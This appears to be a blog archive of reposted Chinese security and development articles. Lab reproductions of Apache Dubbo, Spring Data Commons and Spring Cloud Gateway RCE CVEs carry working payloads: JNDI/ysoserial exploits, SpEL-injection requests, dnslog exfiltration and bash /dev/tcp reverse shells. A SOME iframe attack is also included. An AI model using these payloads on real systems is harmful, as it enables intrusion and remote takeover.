CVE-2021-30179:Apache Dubbo RCE复现

CVE-2021-30179:Apache Dubbo RCE复现

本文转自Timeline Sec 并作补充

0x01 简介

Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案,以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。

0x02 漏洞概述

Apache Dubbo默认支持泛化引用由服务端API接口暴露的所有方法,这些调用由GenericFilter处理。GenericFilter将根据客户端提供的接口名、方法名、方法参数类型列表,根据反射机制获取对应的方法,再根据客户端提供的反序列化方式将参数进行反序列化成pojo对象,反序列化的方式有以下选择:
true
raw.return
nativejava
bean
protobuf-json
我们可以通过控制反序列化的方式为raw.return/true、nativejava、bean来反序列化我们的参数从而实现反序列化,进而触发特定Gadget的,最终导致了远程命令执行漏洞

0x03 影响版本

Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)

0x04 环境搭建

以Apache Dubbo 2.7.9为测试环境
1、下载zookeeper
https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
解压后的根目录下新建data和logs两个文件夹,修改conf目录下的zoo_sample.cfg为zoo.cfg,覆盖原有的dataDir并添加dataLogDir
image

2、双击bin目录下的zkServer.cmd,启动zookeeper,默认监听2181端口
image

3、下载测试Demo及POC:
https://github.com/lz2y/DubboPOC
该测试Demo是我在基础的Dubbo测试项目上添加了需要使用的Gadget所需的依赖(该CVE使用的为org.apache.xbean以及CC4)
师傅们也可以参考https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw安装官方提供的项目进行测试
(项目里的POC是我在参考链接的基础上修改后的结果,后续会更新Dubbo的其他CVE、GHSL的POC)

4、启动Provider
image

0x05 漏洞复现

1、下载marshalsec并编译得到jar包

1
2
git clone https://github.com/mbechler/marshalsec
mvn clean package –DskipTests

2、创建Exploit.java文件,通过javac得到Exploit.class文件

1
2
3
4
5
6
7
8
9
10
11
12
public class Exploit {

static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}

3、在Exploit.class目录下开启http服务
python -m http.server 8000
image

4、使用marshalsec开启JNDI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087

5、查看暴露的接口及其方法

1
2
3
4
telnet Dubbo服务ip Dubbo服务端口
ls
cd 服务
ls

image

打开src\main\java\top\lz2y\vul\CVE202130179.java修改上一步得到的接口名及其方法
image

6、替换CVE-2021-30179.java中的POC1的ldap uri
image

填写Dubbo服务的ip以及端口号
image

7、运行即可发起JNDI注入执行打开计算器
image

POC2同POC1,只需修改LDAP服务地址即可使用
POC3为通过nativejava选项反序列化触发sink点,这里以CC4为例,利用yso生成CC4的序列化文件
java -jar ysoserial.jar CommonsCollections4 "calc" > 1.ser
修改POC中反序列化文件的路径
image

运行即执行calc弹出计算器

0x06 修复方式

升级 Apache Dubbo 至最新版本;
设置 Apache Dubbo 相关端口仅对可信地址开放。

参考链接

https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw
https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/

浅析同源方式执行(SOME)攻击

浅析同源方式执行(SOME)攻击

本文转自Str3am 并作补充

SOME(Same Origin Method Execution),同源方式执行,不同于 XSS 盗取用户 cookie 为目的,直接劫持 cookie 经行操作,和 CSRF 攻击很类似,不同的是 CSRF 是构造一个请求,而 SOME 则希望脚本代码被执行。  非常感谢兔子师傅@Homaebic在分享会上的分享,才有了这篇文章。

0x01 原理及危害

想要理解SOME攻击,必须先对同源策略和JSONP技术有所了解,JSONP我理解为一种用户可控制js执行函数的跨域数据访问技术,详细可以参见这篇文章或者百度。
SOME攻击
正是由于JSONP可以控制执行函数的特性,产生了SOME攻击,主要危害比如点击链接后自动关注微博,自动点赞,自动授权等。

0x02 攻击条件

存在用户可控函数点,读取用户输入执行对应javascript代码(即寻找JSONP点,通常以get方法callback名传入)
可控点可以输入”.”,点号(因为SOME攻击主要还是操作网页DOM)

0x03 SOME复现

这里通过一个大佬写的SOME靶场来练习复现,除了靶场,还有查找dom工具,exp生成,SOME原理介绍,很不错的一个学习网站。
image

Same Origin Method Execution
点击第一个 Vulnerable Example 项目,并打开一个子网页,在颜色轮盘上选择任意颜色,发现父网页标签背景会根据选择改变。
image

子网页其实就是一个JSONP可控点,当我们点击轮盘中的任意颜色后它的连接如下:
https://www.someattack.com/Playground/ColorPicker.php?callback=changeColor
现在我们想要做的就是控制callback参数,访问之后自动点击父页面的红色按钮。
利用第二个 Reference Generator 项目介绍的谷歌插件,这是一个可以自动获取元素DOM位置的插件。
image

右键即可获取,可在控制台中用click事件测试是否获取正确。
image

修改子页面参数如下:
https://www.someattack.com/Playground/ColorPicker.php?callback=box.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click

访问之后弹窗,按钮被点击,SOME攻击实现。
image

兔子师傅演示的时候打开了两个网页some1和some2,打开some1后,用windiow。open方式打开some2页面,等some1页面加载完之后,some2地址location.replace到payload实现攻击。
我在实际测试的时候发现,当我打开第一个页面,然后直接开启一个新的页面访问payload,第一个页面是不会弹窗的,但是两个页面都是满足同源策略的,按理说执行脚本代码是没问题的,参阅文章后发现,要实现DOM操作,两个界面还必须满足父窗口和子窗口关系,这样子窗口才能够操作到父窗口的DOM,否则执行操作的时候会提示元素找不到的错误。兔子师傅这里是在some1下用window.open打开的some2界面,两个窗口父子关系是满足的。
同时,还需要注意一点的是,因为很多浏览器禁止window.open的原因(谷歌和火狐会禁止),兔子师傅的方法局限性很大,柠檬师傅采用了两个iframe的办法,避免了拦截,也很好的保证了同源性。附上柠檬师傅的代码

1
2
3
4
5
6
7
8
9
10
<iframe src="https://www.someattack.com/Playground/" name=b></iframe>
<iframe name=a></iframe>
<script>
window.frames[0].open('https://www.someattack.com/Playground/','a');
setTimeout(
function(){
window.frames[1].location.href = 'https://www.someattack.com/Playground/ColorPicker.php?callback=document.body.firstElementChild.lastElementChild.lastElementChild.lastElementChild.previousSibling.previousSibling.lastElementChild.click'
}
,1000);
</script>

0x04 漏洞防御

回调函数使用静态函数命名,限制该函数的调用范围。
谷歌的解决方法是,把回调函数加入服务器端的白名单。
Hayak建议,注册回调函数。

参考链接

https://www.someattack.com/Playground/
http://blog.safedog.cn/?p=13
http://www.aqniu.com/hack-geek/5075.html

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

本文转自樱浅沐冰 并作补充

影响版本

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)

复现过程

vulhub
详细过程请看Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一、验证

这里使用dnslog来验证。
先获取一个dns地址
t15gcx.dnslog.cn
image

拼接命令
curl whoami.t15gcx.dnslog.cn

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
image

bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}

Exp

替换对应的payload,重新发送数据包
成功反弹回显到dnslog上
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

image

二、反弹shell

反弹shell
bash -i >& /dev/tcp/192.168.100.23/9090 0>&1

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4yMy85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}
监听9090端口
image

替换掉curlwhoami.t15gcx.dnslog.cn对应的payload,重新发送数据包
成功反弹shell
image

参考文章

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
Vulhub CVE-2018-1273

服务器(Linux)挖矿木马病毒(kswapd0进程使cpu爆满)

服务器(Linux)挖矿木马病毒(kswapd0进程使cpu爆满)

本文转自飞川撸码 并作补充

前言

由于本人的阿里云服务器遭受攻击,被挖矿,导致CPU爆满,同时受到阿里云官方的邮箱、短信以及电话通知(监管部门是不允许服务器被直接或者间接挖矿)
首先是CPU爆满,远程登录不了,通过将服务器重启以后可以远程登录了。以kswapd0进程为例,其他进程类似,下面就是具体步骤了。
可参考阿里云的:挖矿程序处理最佳实践
注:如果你的服务器购买了付费版云安全中心,在云安全中心插件正常的前提下,可以利用付费版的主动防御及安全告警处理的功能来手动扫描下,对于检测到的威胁,你可以在安全告警处理页面进一步核实处理。应该可以直接处理掉。(如果没有,看下面的处理)
image

image

1.在系统里面top一下,查看了所有进程

image

看到这些进程一直在变化,但是,主要是由于kswapd0进程在作怪,占据了99%以上的CUP,查找资料后,发现它就是挖矿进程。

2.排查kswapd0进程

2.1 执行命令netstat -antlp | grep kswapd0 查询该进程的网络信息

netstat -antlp | grep kswapd0
image

发现一个与本机端口通信的是一个荷兰的ip
image

2.2执行命令netstat -antlp | grep 194.36.190.30 查询该地区ip的其他网络占用情况

netstat -antlp | grep 194.36.190.30
image

发现只有这一个进程(当然,很有可能花卉有其他进程)

3. 查找进程的详细信息

我们来到/proc/目录下查找对应的pid号,即/proc/497。可以在这目录下找到kswapd0进程的详细信息。
ll /proc/497
image

4.查看进程的工作空间

ps -ef | grep kswapd0
image

执行完后可以看到进程的pid以及进程相关文件的位置

5.切换到木马程序目录并删除

image

rm -rf /var/tmp/.copydie

6.清理定时任务

很多病毒都是有会在定时任务里面,以至于很难清理清楚。(由于我的服务器买油开启定时任务服务,所以里面没有任务)

1
2
3
4
查看定时任务:
crontab -l
清理计划任务:
crontab -e

清除后将定时任务里的相关文件都清理干净,若有其他用户,将其他用户的定时任务也清理。

7.杀掉kswapd0进程

最好把木马程序和定时任务都清理完了再杀掉,要不然还会自动重启
kill -9 497 #kill -9 kswapd0进程的PID

8.总结

就是跟着进程找找目录,然后杀进程,清目录
清定时任务
服务器的ftp端口最好别用22,密码尽量设置复杂点
尽量用密钥连接服务器,最好别用账号密码连接
封闭不使用的端口,做到用一个开一个(通过防火墙和安全组策略)
密码增强复杂性
及时修补系统和软件漏洞

解决kswapd0 CPU占用率高的问题

解决kswapd0 CPU占用率高的问题

本文转自年迈的老头子 并作补充

连接服务器时发现cpu使用率100%,使用top命令查看是kswapd0进程占用cpu极高
image

百度下后知道kswapd0进程的作用:
它是虚拟内存管理中,负责换页的,操作系统每过一定时间就会唤醒kswapd ,看看内存是否紧张,如果不紧张,则睡眠,在 kswapd 中,有2个阀值,pages_hige 和 pages_low,当空闲内存页的数量低于 pages_low的时候,kswapd进程就会扫描内存并且每次释放出32 个free pages,直到 free page的数量到达pages_high。通过阻止kswapd0进程过渡活跃地消耗CPU的方法是设置大页内存。

刚开始以为是本身服务器内存小的问题后来翻阅了其他大佬的博客后使用netstat -antlp查看了下系统外部连接,发现存在一个意大利的ip占用kswapd0进程和荷兰的ip占用rsync进程,,经查询后rsync是一个数据传输工具,此时意识到了事情的严重性
image

此时开始查找进程占用的文件路径

1
2
3
4
cd /proc/1266
ls -l exe
cd /proc/1246
ls -l exe

image

查询过后发现是使用prel写的一个脚本,删除整个文件夹后发下这两个进程依然存在,然后就开始了简单粗暴的过程直接kill掉这两个进程,kill点之后发现这两个进程不在了cpu的使用率下来了观察一段时间后确定cpu使用率正常了
image

app日志抓取

app日志抓取

本文转自测试之道. 并作补充

日志抓取

1.首先通过adb devices查看设备是否连接成功
2.通过adb logcat命令抓取日志,保存到D盘下的1文件夹下面的log.txt文件中:
adb logcat -v time (-v time 为了获取日志时间)
image

3.将程序运行在前台,通过命令查看应用包名称:adb shell dumpsys | findstr “mFocusedActivity”
image

4.在导出的 log.txt 文件中搜索应用包名字,查看日志问题

发生 crash 问题,搜索关键字 force finishing

image

发生 anr 问题

1.搜索关键字 anr in
2.treces.txt (adb shell–cd data – cd anr– traces.txt) (获取一次无响应)
3.dropbox.txt (adb shell – cd data – cd system – cd dropbox)(获取多次)

一、Mac / Windows 电脑抓取Android手机APP 日志的方法

电若脑只连接一个Android设备

1、电脑安装adb工具
2、手机打开usb调试:开发者选项开启–>usb调试开启–>允许usb调试
3、查询手机上第三方apk包的包名:
打开控制台:cmd
查询包名:adb shell pm list packages -3;(如:adb -s 11870469 shell pm list packages -3)
若琪app包名为 com.rokid.mobile
4、查询若琪app的进程号:adb shell ps | grep com.rokid.mobile (查出两个进程号)
5、电脑的当前路径创建文件存放日志:touch log
6、给文件操作权限:chmod 777 log
7、查询若琪APP的日志并导入到log文件:adb shell logcat |grep -e “进程号1” -e “进程号2” >> log
(如:adb -s 11870469 shell logcat |grep -e “6998” -e “7081” >> log )

电脑连接多个Android设备:

1、电脑安装adb工具
2、手机打开usb调试:开发者选项开启–>usb调试开启
3、cmd 打开控制台
4、adb devices查询设备号
5、查询第三方apk包的包名:adb -s 设备号 shell pm list packages -3;(如:adb -s 11870469 shell pm list packages -3)
若琪app包名为com.rokid.mobile
6、查询第三方apk进程号:adb -s 设备号 shell ps | grep com.rokid.mobile
7、电脑的当前路径创建文件存放日志:touch log
8、给文件操作权限:chmod 777 log
9、查询若琪APP的日志并导入到log文件:adb -s 设备号 shell logcat |grep -e “进程号1” -e “进程号2” >> log
(如:adb -s 11870469 shell logcat |grep -e “6998” -e “7081” >> log )

二、Mac电脑上抓取IOS手机APP日志的方法:使用Mac电脑自带的“控制台”

Mac电脑对iOS手机的兼容性非常好,抓日志也很简单,ios手机连上电脑,打开控制台就开始抓取日志了,抓取的是全部的系统日志,用“RokidApp”过滤出若琪APP的日志
image

image

三、Windows电脑上抓取ios 手机APP日志的方法:可以用iTools工具

1、下载安装itools工具:http://www.mydown.com/soft/59/11963059.shtml
2、插上ios手机之后要先安装驱动,驱动安装成功才能连上ios手机
3、如下图为连接手机成功
image

4、点击“工具箱”,点击“实时日志”,ios上所有APP的日志都能打印出来
image

5、保存系统日志,文件名为AppLog
image

6、cmd 打开控制台,过滤出若琪APP的日志并查看日志
cat AppLog | grep -e “RokidApp”
7、将若琪APP日志导出
创建文件:touch RokidAppLog
给文件赋权限:chmod 777 RokidAppLog
导出日志: cat AppLog | grep -e “RokidApp” >> RokidAppLog

Spring Cloud Gateway rce(CVE-2022-22947)

Spring Cloud Gateway rce(CVE-2022-22947)

本文转自6right 并作补充

漏洞描述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
也是codeql发现的

漏洞影响

3.1.0
3.0.0至3.0.6
3.0.0之前的版本

复现漏洞

首先,发送以下请求以添加包含恶意SpEL 表达式的路由器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

反弹shell将命令替换为base64命令即可
Content-Type: application/json

image

其次,刷新网关路由器。SpEL 表达式将在此步骤中执行:

1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

第三,发送以下请求以检索结果:

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

查看所有路由

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes HTTP/1.1
Host: 123.58.236.76:40279
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

最后,发送一个 DELETE 请求来删除我们的恶意路由器:

1
2
3
4
5
6
7
8
9
10
DELETE /actuator/gateway/routes/lyy9 HTTP/1.1
Host: 123.58.236.76:40279
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
Content-Type: application/json

image
删除后用记得也用refresh

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,反弹shellbase64}|{base64,-d}|{bash,-i}\").getInputStream()))}"
}
}],
"uri": "http://example.com"
}

删去new String[]初始化,直接将base64的反弹shell命令放入填入
生成base64那个站点崩了,可以自己写个python

1
2
3
4
5
6
import base64


base64_str = input("请输入反弹shell命令,如:bash -i >& /dev/tcp/11.11.11.11/2334 0>&1\n")
res = base64.b64encode(base64_str.encode())
print("bash -c {echo,"+res.decode()+"}|{base64,-d}|{bash,-i}")

漏洞原理

SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行
如果想要深入学习SpEL表达式可以参考Mi1k7ea师傅的文章

首先定位到漏洞的修复版本对比
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
image
可以看到删除了默认的StandardEvaluationContext,改用自定义的GatewayEvaluationContext来对表达式进行SpEL进行处理

默认的StandardEvaluationContext里getValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
Object value;
String rawValue = entryValue;
if (rawValue != null) {
rawValue = rawValue.trim();
}
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
// assume it's spel
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
}
else {
value = entryValue;
}
return value;
}

可以控制 getValue 方法调用,那么就能调用任何有效的表达式达到注入效果

修复建议

3.1.x用户应升级到3.1.1+
3.0.x用户应升级到3.0.7+
如果不需要Actuator端点,可以通过management.endpoint.gateway.enable:false配置将其禁用
如果需要Actuator端点,则应使用Spring Security对其进行保护

android使用Leaks检测内存泄漏

android使用Leaks检测内存泄漏

本文转自浅浅清风 并作补充

Leaks 内存泄漏检测工具使用

网址:https://github.com/square/leakcanary
在你的module中添加依赖

1
2
3
debugCompile 'com.squareup.leakcanary:leakcanary-android:1.4-beta2'
releaseCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.4-beta2'
testCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.4-beta2'

在Application中添加: LeakCanary.install(this);

并且确保你的app处于调试模式,如下图:

image

当切换到release版本的时候,leakcanary-debug不会被打包.所以切换到release之后不用对leakcanary做注释或者删除等操作.
现在就可以开始使用了,重新编译你的工程,运行在模拟器或真机上.
在各个页面中测试,如果存在内存泄漏的情况,leaks会弹出通知提醒你查看.
在leaks中会有详细的泄漏说明,如产生内存泄漏的大小,产生内存泄漏的页面和相关的信息。

image

内存泄漏详情:

image

最后有一些关于内存泄漏的建议:
为了避免上下文相关的内存泄漏,记住以下几点:
不要长期引用context-activity(引用一个活动应该有相同的生命周期活动本身)
使用getApplicationContext而不是context或activity试试
避免非静态内部类的一个活动如果你不控制自己的生命周期,使用静态内部类,让一个弱引用来传递,并且记住,垃圾收集器对于内存泄漏并不保险。

下面说几个作者遇到的内存泄漏的情况以及解决方案:
使用百度地图LocationClient.在Activity被销毁时调用

1
2
3
4
if (mLocClient != null){
mLocClient.unRegisterLocationListener(myListener);
mLocClient.stop();
}

使用友盟分享登录时, 传递getApplicationContext
第三方库如果需要传入Activity的时候,传递一个弱引用进去, 可以避免内存泄漏,如下:

1
2
Reference<HomeActivity> reference = new WeakReference(getActivity());
new ShareAction(reference.get()).setDisplayList(displaylist);

在Handler中容易造成内存泄漏,最好使用弱引用方式,要么,在Activity销毁的时候清空所有的handler栈。

在使用WebView的时候也可能出现内存泄漏,解决办法,我的另一篇博客里有详细讲解。

在使用RxJava的时候也可能会出现内存泄漏,可以使用RxLifecycler来解决。

YApi命令执行漏洞(MPS-2022-60494)安全风险通告

YApi命令执行漏洞(MPS-2022-60494)安全风险通告

本文转自奇安信 CERT 并作补充

项目介绍

YApi 是高效、易用、功能强大的 API管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护API。
近日,奇安信CERT监测到YApi命令执行漏洞,远程未授权的攻击者可通过注入漏洞获取有效用户token,进而利用自动化测试接口绕过沙箱限制,最终在目标系统上执行任意命令。鉴于该漏洞影响范围较大,建议客户尽快做好自查及防护。

漏洞概述

YApi中存在命令执行漏洞,远程未授权的攻击者可通过注入漏洞获取有效用户token,进而利用自动化测试接口绕过沙箱限制,最终在目标系统上执行任意命令。

影响版本

YApi < 1.12.0

修复方式

一、版本升级

目前官方已有可更新版本,建议受影响用户更新至 1.12.0 及以上版本。
注:

  1. YApi 1.11.0版本已修复Mongo注入获取Token的问题,导致攻击者无法在未授权的情况下利用此漏洞。
  2. 在YApi 1.12.0的版本更新中,仅默认禁用了Pre-request和Pre-response脚本功能,使得此漏洞在默认配置下无法利用。

二、缓解措施

  1. 在业务允许的情况下,建议将YApi部署在内网,禁止外网访问。
  2. 修改默认token加密的盐:
    编辑项目根目录中的config.json,添加”passsalt”:”任意随机值”,如:
    "passsalt":"this_is_a_test"
    保存,重启YApi服务即可。

参考链接

https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c?diff=split

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

本文转自棱镜七彩 并作补充

项目介绍

Spring Security是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架。它提供了一组可以在Spring应用上下文中配置的Bean,充分利用了Spring IoC,DI(控制反转Inversion of Control ,DI:Dependency Injection 依赖注入)和AOP(面向切面编程)功能,为应用系统提供声明式的安全访问控制功能,减少了为企业系统安全控制编写大量重复代码的工作。

项目地址

https://spring.io/projects/spring-security

漏洞概述

Spring Security 的受影响版本中存在权限提升漏洞,攻击者可以修改客户端通过浏览器向授权服务器发出的请求,如果授权服务器在后续使用包含空作用域列表的 ’OAuth2 Access Token Response‘ 响应来获取访问token,攻击者可以获得权限提升,以特权身份执行恶意代码。

影响版本

org.springframework.security:spring-security-oauth2-client@[5.6, 5.6.9)
org.springframework.security:spring-security-oauth2-client@[5.7, 5.7.5)

环境搭建

  1. 下载并使用spring官方提供的样例进行测试
  2. 分别启动login和authorization-server,官方提供的authorization-server默认账号密码是user、password

漏洞分析

该漏洞是一个Spring Security Oauth2的逻辑漏洞,要想明白该漏洞,我们必须先了解下什么是Oauth2。
简单说,OAuth2 就是一种授权机制。数据的所有者告诉系统,同意授权第三方应用进入系统,获取这些数据。系统从而产生一个短期的进入令牌(token),用来代替密码,供第三方应用使用。
OAuth 2.0 规定了四种获得令牌的流程:
授权码(authorization-code)
隐藏式(implicit)
密码式(password)
客户端凭证(client credentials)
授权码模式最常用,该模式的整个授权过程的时序图如下:

image

CVE-2022-31692漏洞产生的原因在于最后返回token时分配的scope不当,在spring security 中,应用向授权服务器请求token的代码如下:

image

上述标注的代码会判断AccessTokenResponse.scope是否为空,如果条件成立,则会使用当前client配置的scope。而scope代表的是令牌有权限范围。也就是说当授权服务器返回的scope为空,则客户端权限提升至最大。因此存在权限提升漏洞。
官方修复commit如下,分析代码可知spring security实现了三种认证模式并全部修复了漏洞。

image

三种模式的修复代码都是类似的,选其中一个分析,从修复代码可知修复后直接使用授权服务器返回的内容。

image

修复方式

升级到最新版

参考链接

OAuth2.0究竟是个啥?看完这13张图你就明白了! - 腾讯云开发者社区-腾讯云
CVE-2022-31690: Privilege Escalation in spring-security-oauth2-client
Spring-Security Commit:Fix scope mapping
OAuth 2.0 的一个简单解释
[iThome鐵人賽 2022] Day31 (CVE-2022-31692) Spring Security 又(?)有漏洞惹~~ 使用個 forward 功能臭了嗎?! - YouTube